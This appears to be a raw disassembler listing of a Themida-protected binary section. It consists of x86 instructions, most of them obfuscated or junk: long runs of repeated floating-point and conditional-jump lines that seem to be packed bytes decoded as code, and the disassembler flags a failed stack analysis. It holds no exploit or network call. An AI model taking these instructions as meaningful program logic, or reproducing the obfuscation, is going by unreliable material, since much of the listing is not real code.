dd 6D0CFD98h
db 0C0h, 0A3h
; =============== S U B R O U T I N E =======================================
sub_613196 proc near ; CODE XREF: sub_613188j
pop ebx
or ecx, 7E69D5C0h
movzx eax, ax
jl loc_6131A7
cmc
loc_6131A7: ; CODE XREF: sub_613196+Aj
pusha
push ebx
jmp loc_6131C2
; ---------------------------------------------------------------------------
db 57h
; ---------------------------------------------------------------------------
loc_6131AF: ; CODE XREF: sub_613196+3Fj
push 0DA8D81Bh
pop ds
assume ds:nothing
pop ebp
cmp ecx, [eax+41B2DCCBh]
sbb eax, 526A9B44h
; ---------------------------------------------------------------------------
db 0B5h
; ---------------------------------------------------------------------------
loc_6131C2: ; CODE XREF: sub_613196+13j
pop esi
cld
popa
movsx ecx, ax
call loc_6131DB
test edx, esp
cmp esp, [ecx-30670F1Fh]
jp short loc_6131AF
icebp
out 22h, eax
loc_6131DA: ; CODE XREF: sub_613147+3Fj
inc edx
sub_613196 endp ; sp-analysis failed
loc_6131DB: ; CODE XREF: sub_613196+32p
movzx edx, cx
pop edi
mov cx, 466Bh
adc ebx, 40889C7Bh
jns loc_613207
jmp loc_613207
; ---------------------------------------------------------------------------
dd 217E9903h, 0F949857Ch, 5C836471h, 0DDDA6918h
db 19h, 0D6h, 0F7h
; ---------------------------------------------------------------------------
loc_613207: ; CODE XREF: Themida_:006131E9j
; Themida_:006131EFj
push ebx
jmp loc_61321A
; ---------------------------------------------------------------------------
db 0Eh, 75h, 0BDh
dd 82561B6Eh, 0BC1CEF36h
; ---------------------------------------------------------------------------
loc_613218: ; CODE XREF: Themida_:0061323Dj
fdivrp st, st
loc_61321A: ; CODE XREF: Themida_:00613208j
pop eax
adc bx, 878Ah
adc dh, 7Dh
push esi
jle loc_61322D
movsx ecx, dx
loc_61322D: ; CODE XREF: Themida_:00613224j
pop eax
mov ah, 0E4h
jbe loc_613238
mov dl, 0E6h
loc_613238: ; CODE XREF: Themida_:00613230j
cmc
mov cx, 343Bh
jg short loc_613218
mov edx, 0BAD97F1Ch
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
fnstcw word ptr [edx-452680E4h]
sbb al, 7Fh
jnb short loc_613E09
fisttp qword ptr [ebx+esi*2+29h]
fisttp qword ptr [ebx+esi*2+29h]
fisttp qword ptr [ebx+esi*2+29h]
fisttp qword ptr [ebx+esi*2+29h]
fisttp qword ptr [ebx+esi*2+29h]
fisttp qword ptr [ebx+esi*2+29h]
fisttp qword ptr [ebx+esi*2+29h]
fisttp qword ptr [ebx+esi*2+29h]
fisttp qword ptr [ebp+ebp*8+7Bh]
and dl, [edx]
in eax, dx
jnp short loc_613E2B
loc_613E09: ; CODE XREF: Themida_:00613DDEj
adc ch, ch
jnp short loc_613E2F
adc ch, ch
jnp short loc_613E33
adc ch, ch
jnp short loc_613E37
adc ch, ch
jnp short loc_613E3B
adc ch, ch
jnp short loc_613E3F
adc ch, ch
jnp short loc_613E43
adc ch, ch
jnp short loc_613E47
adc ch, ch
jnp short loc_613E4B
adc ch, ch
loc_613E2B: ; CODE XREF: Themida_:00613E07j
jnp short loc_613E4F
adc ch, ch
loc_613E2F: ; CODE XREF: Themida_:00613E0Bj
jnp short loc_613E53
adc ch, ch
loc_613E33: ; CODE XREF: Themida_:00613E0Fj
jnp short loc_613E57
adc ch, ch
loc_613E37: ; CODE XREF: Themida_:00613E13j
jnp short loc_613E5B
adc ch, ch
loc_613E3B: ; CODE XREF: Themida_:00613E17j
jnp short loc_613E5F
adc ch, ch
loc_613E3F: ; CODE XREF: Themida_:00613E1Bj
jnp short loc_613E63
adc ch, ch
loc_613E43: ; CODE XREF: Themida_:00613E1Fj
jnp short loc_613E67
adc ch, ch
loc_613E47: ; CODE XREF: Themida_:00613E23j
jnp short loc_613E6B
adc ch, ch
loc_613E4B: ; CODE XREF: Themida_:00613E27j
jnp short loc_613E6F
adc ch, ch
loc_613E4F: ; CODE XREF: Themida_:loc_613E2Bj
jnp short loc_613E73
adc ch, ch
loc_613E53: ; CODE XREF: Themida_:loc_613E2Fj
jnp short loc_613E77
adc ch, ch
loc_613E57: ; CODE XREF: Themida_:loc_613E33j
jnp short loc_613E7B
adc ch, ch
loc_613E5B: ; CODE XREF: Themida_:loc_613E37j
jnp short loc_613E7F
adc ch, ch
loc_613E5F: ; CODE XREF: Themida_:loc_613E3Bj
jnp short loc_613E83
adc ch, ch
loc_613E63: ; CODE XREF: Themida_:loc_613E3Fj
jnp short loc_613E87
adc ch, ch
loc_613E67: ; CODE XREF: Themida_:loc_613E43j
jnp short loc_613E8B
adc ch, ch
loc_613E6B: ; CODE XREF: Themida_:loc_613E47j
jnp short loc_613E8F
adc ch, ch
loc_613E6F: ; CODE XREF: Themida_:loc_613E4Bj
jnp short loc_613E93
adc ch, ch
loc_613E73: ; CODE XREF: Themida_:loc_613E4Fj
jnp short loc_613E97
adc ch, ch
loc_613E77: ; CODE XREF: Themida_:loc_613E53j
jnp short loc_613E9B
adc ch, ch
loc_613E7B: ; CODE XREF: Themida_:loc_613E57j
jnp short loc_613E9F
adc ch, ch
loc_613E7F: ; CODE XREF: Themida_:loc_613E5Bj
jnp short loc_613EA3
adc ch, ch
loc_613E83: ; CODE XREF: Themida_:loc_613E5Fj
jnp short loc_613EA7
adc ch, ch
loc_613E87: ; CODE XREF: Themida_:loc_613E63j
jnp short loc_613EAB
adc ch, ch
loc_613E8B: ; CODE XREF: Themida_:loc_613E67j
jnp short loc_613EAF
adc ch, ch
loc_613E8F: ; CODE XREF: Themida_:loc_613E6Bj
jnp short loc_613EB3
adc ch, ch
loc_613E93: ; CODE XREF: Themida_:loc_613E6Fj
jnp short loc_613EB7
adc ch, ch
loc_613E97: ; CODE XREF: Themida_:loc_613E73j
jnp short loc_613EBB
adc ch, ch
loc_613E9B: ; CODE XREF: Themida_:loc_613E77j
jnp short loc_613EBF
adc ch, ch
loc_613E9F: ; CODE XREF: Themida_:loc_613E7Bj
jnp short loc_613EC3
adc ch, ch
loc_613EA3: ; CODE XREF: Themida_:loc_613E7Fj
jnp short loc_613EC7
adc ch, ch
loc_613EA7: ; CODE XREF: Themida_:loc_613E83j
jnp short loc_613ECB
adc ch, ch
loc_613EAB: ; CODE XREF: Themida_:loc_613E87j
jnp short loc_613ECF
adc ch, ch
loc_613EAF: ; CODE XREF: Themida_:loc_613E8Bj
jnp short loc_613ED3
adc ch, ch
loc_613EB3: ; CODE XREF: Themida_:loc_613E8Fj
jnp short loc_613ED7
adc ch, ch
loc_613EB7: ; CODE XREF: Themida_:loc_613E93j
jnp short loc_613EDB
adc ch, ch
loc_613EBB: ; CODE XREF: Themida_:loc_613E97j
jnp short loc_613EDF
adc ch, ch
loc_613EBF: ; CODE XREF: Themida_:loc_613E9Bj
jnp short loc_613EE3
adc ch, ch
loc_613EC3: ; CODE XREF: Themida_:loc_613E9Fj
jnp short loc_613EE7
adc ch, ch
loc_613EC7: ; CODE XREF: Themida_:loc_613EA3j
jnp short loc_613EEB
adc ch, ch
